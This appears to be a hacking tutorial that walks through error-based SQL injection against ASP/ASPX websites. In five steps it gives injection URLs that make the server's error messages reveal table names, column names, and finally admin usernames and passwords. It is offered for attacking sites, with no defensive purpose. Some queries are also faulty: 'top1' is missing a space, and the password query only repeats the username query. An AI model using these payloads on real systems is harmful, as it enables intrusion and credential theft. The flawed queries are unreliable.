Hacking ASP/ASPX sites

ASPX injection is also similar to PHP based sql injection. But here, we don’t use queries that contain order by, union select etc. Instead, we will cheat the server to respond with the information we needed. It is an error based injection technique. We will get the information in the form of errors.

Step 1: Find Out A Vulnerable Link

First, we need find out a vulnerable asp/aspx link which looks like

http://www.vulnerablesite.com/gallery.aspx?id=10

when i browse my actual link, i get the page as shown in the figure.

Step 2: Checking For Vulnerability

As in the PHP based injection, we will test for the vulnerability by adding a single quote at the end of the URL.

http://www.vulnerablesite.com/gallery.aspx?id=10′;

If it gives an error similar to the following, then our site is vulnerable to sql injection.

In asp/aspx based injections, we need not find out the number of columns or the most vulnerable column.  We will directly find out the table names,column names and then we will extract the data.

Step 3: Finding Out The Table Names.

http://www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top 1 table_name from information_schema.tables))

The above code executes the second query and retrieves the first table name from the database. the windows server cant convert character value into data type. so we will get an error as shown in the following figure from which we can get the first table name.

But this may not be the desired table for us. So we need to find out the next table name in the database.

For that, we will use the following query.

http://www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top1 table_name from information_schema.tables where table_name not in (‘first_table_name’)))

replace the first_table_name with the actual table name we got above.

Now we will get the second table name as shown in the figure. Still if we don’t get our desired table, we will continue the procedure until we get the  desired table name. Now the query looks like

http://www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top1 table_name from  information_schema.tables where table_name not in (‘first_table_name’,'second_table_name’)))

Replace first_table_name and second_table_name with the table names we got in the above steps.

Step 4: Finding Out The Columns

Now we got the admin table. So we need to find out the columns now.

http://www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top1 column_name from information_schema.columns where table_name=’admin_table’))

Replace admin_table with the table name we got. In our case, it is “vw_system_admin”

If the first column is not related to our desired column names, then follow the steps as we have done in step 3.

http://www.vulnerablesite.com/gallery.aspx?id=10  and 1=convert(int,(select top1 column_name from information_schema.columns where table_name=’admin_table’ and column_name not in (‘first_column_name’)))

Replace first_column_name with the column name we got.

Step 5:Extracting The Data

After finding out all the columns, we need to extract the data such as user names and passwords.

For that, we use the following query

For user name,

http://www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top 1 admin_username from admin_table))

For password,

http://www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top 1 admin_username from admin_table))